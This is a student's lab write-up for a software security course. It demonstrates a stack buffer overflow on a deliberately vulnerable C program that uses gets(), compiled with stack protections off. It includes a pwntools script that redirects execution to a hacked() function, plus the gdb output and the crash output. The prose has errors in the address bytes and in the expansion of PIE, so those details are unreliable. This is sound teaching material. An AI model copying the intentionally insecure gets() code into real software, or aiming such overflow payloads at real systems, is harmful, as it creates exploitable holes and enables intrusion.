Lab: Stack Overflow

Mayur Suresh

CSC 472-02: Software Security 2

Date: October 13th, 2022

Stack Overflow

Stack Overflow attack is an that take advantage of the overflow error that occurs when a program tries to use more memory space in the call stack than that has been stored to that stack. By using this we can reroute the return to the main to the hacked function instead which outputs the message ‘Hacked by Mayur Suresh!!!’ when the segmentation occurs.

To implement this attack, we are going to take advantage of the memory overflow. First we need to edit the lab2.c program to make changes to the hacked function where we set it to return ‘Hack by Mayur Suresh!!!’. Then we need to go into the return_input function to change the array sizer to the last 2 digits of your student ID as shown in Image 2. We then trigger the stack overflow to test as shown in Image 1. By doing this we note and input more data than the array can handle and when this happens the data will be overflowed and move to the next register, when it moves to the next register, we will have the following register store the memory address of the hacked() function. Because the register now contains the beginning memory address of hacked() it will go there instead of returning to main() function which was initially stored in the same register.

To start this attack, we need to strip certain layers of protection when run (gcc). We need to strip the Address Space Layer Randomization (ASLR) (not needed for this lab), Data Execution Prevention (DEP), Stack Protector and Precision Independent Encoding (PIE) as shown in Image 3. After finding the magic number which is 105 you would need to put it in a file, along with this we need the starting memory address for hacked, which is found in its stack shown in Image 4 below which is 0x08049172. We need the ‘Magic Number’ and the memory address to specify when the hacked function can come in and activate, we do this by adding the memory address to the end of the Magic Number of characters in the hexadecimal form of the little endian(\x82\x91\x04\x07). The string will look like the following: A*105+\x82\x91\x04\x07 like shown in Image 5. With this we can activate the hacked function in the lab2.c program by rerouting the return function from the main to the hacked function.

By running the exploit.py we indeed see that the Stack Overflow attack has been implemented in Image 6. By doing this we see how easily this attack can be implemented by just making use of the defined array size and redirect the return_input function to the hacked function instead of the main function.

Source Images:

```
root@ab91e0d0cf54:/workdir # ./lab2
uyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
yyyy
uyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
yyyy
[1]    55 segmentation fault (core dumped)  ./lab2
root@ab91e0d0cf54:/workdir #
```

Image 1

```
root@ab91e0d0cf54:/workdir # cat lab2.c
#include <stdio.h>
#include <string.h>

void hacked()
{
        /* change YOURNAME to your name :) */
        puts("Hacked by Mayur Suresh!!!!");
}

void return_input(void)
{
        /* Please set the array size equal to
         the last two digits of your student ID
         e.g. 0861339 --> array size should set to 39 */
        char array[93];
        gets(array);
        printf("%s\n", array);
}

main()
{
        return_input();
        return 0;
}
```

Image 2

```
root@ab91e0d0cf54:/workdir # gcc -o lab2 lab2.c -m32 -fno-stack-protector -zexecstack -n
o-pie
lab2.c: In function ‘return_input’:
lab2.c:16:2: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-W
implicit-function-declaration]
   16 |  gets(array);
      |  ^~~~
      |  fgets
lab2.c: At top level:
lab2.c:20:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
   20 | main()
      | ^~~~
/usr/bin/ld: /tmp/ccmLkCCI.o: in function `return_input':
lab2.c:(.text+0x45): warning: the `gets' function is dangerous and should not be used.
root@ab91e0d0cf54:/workdir #
```

Image 3

```
gef➤  disas hacked
Dump of assembler code for function hacked:
   0x08049172 <+0>:     push   ebp
   0x08049173 <+1>:     mov    ebp,esp
   0x08049175 <+3>:     push   ebx
   0x08049176 <+4>:     sub    esp,0x4
   0x08049179 <+7>:     call   0x80491ef <__x86.get_pc_thunk.ax>
   0x0804917e <+12>:    add    eax,0x2e82
   0x08049183 <+17>:    sub    esp,0xc
   0x08049186 <+20>:    lea    edx,[eax-0x1ff8]
   0x0804918c <+26>:    push   edx
   0x0804918d <+27>:    mov    ebx,eax
   0x0804918f <+29>:    call   0x8049040 <puts@plt>
   0x08049194 <+34>:    add    esp,0x10
   0x08049197 <+37>:    nop
   0x08049198 <+38>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x0804919b <+41>:    leave
   0x0804919c <+42>:    ret
End of assembler dump.
gef➤
```

Image 4

```
root@620b91115f7d:/workdir # cat exploit.py
#!/usr/bin/python

from pwn import *

def main():
    # start a process
    p = process("./lab2")

    # create payload
    # Please put your payload here
    hacked_address = 0x08049172
    payload = b"A" * 105 + p32(hacked_address)

    # print the process id


    # send the payload to the binary
    p.send(payload)

    # pass interaction bac to the user
    p.interactive()

if __name__ == "__main__":
    main()

root@620b91115f7d:/workdir #
```

Image 5

```
root@620b91115f7d:/workdir # python3 exploit.py
.[+] Starting local process './lab2': pid 235
[*] Switching to interactive mode
$
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAr\x91\x04
Hacked by Mayur Suresh!!!!
[*] Got EOF while reading in interactive
$
[*] Process './lab2' stopped with exit code -11 (SIGSEGV) (pid 235)
[*] Got EOF while sending in interactive
root@620b91115f7d:/workdir # cat exploit.py
```

Image 6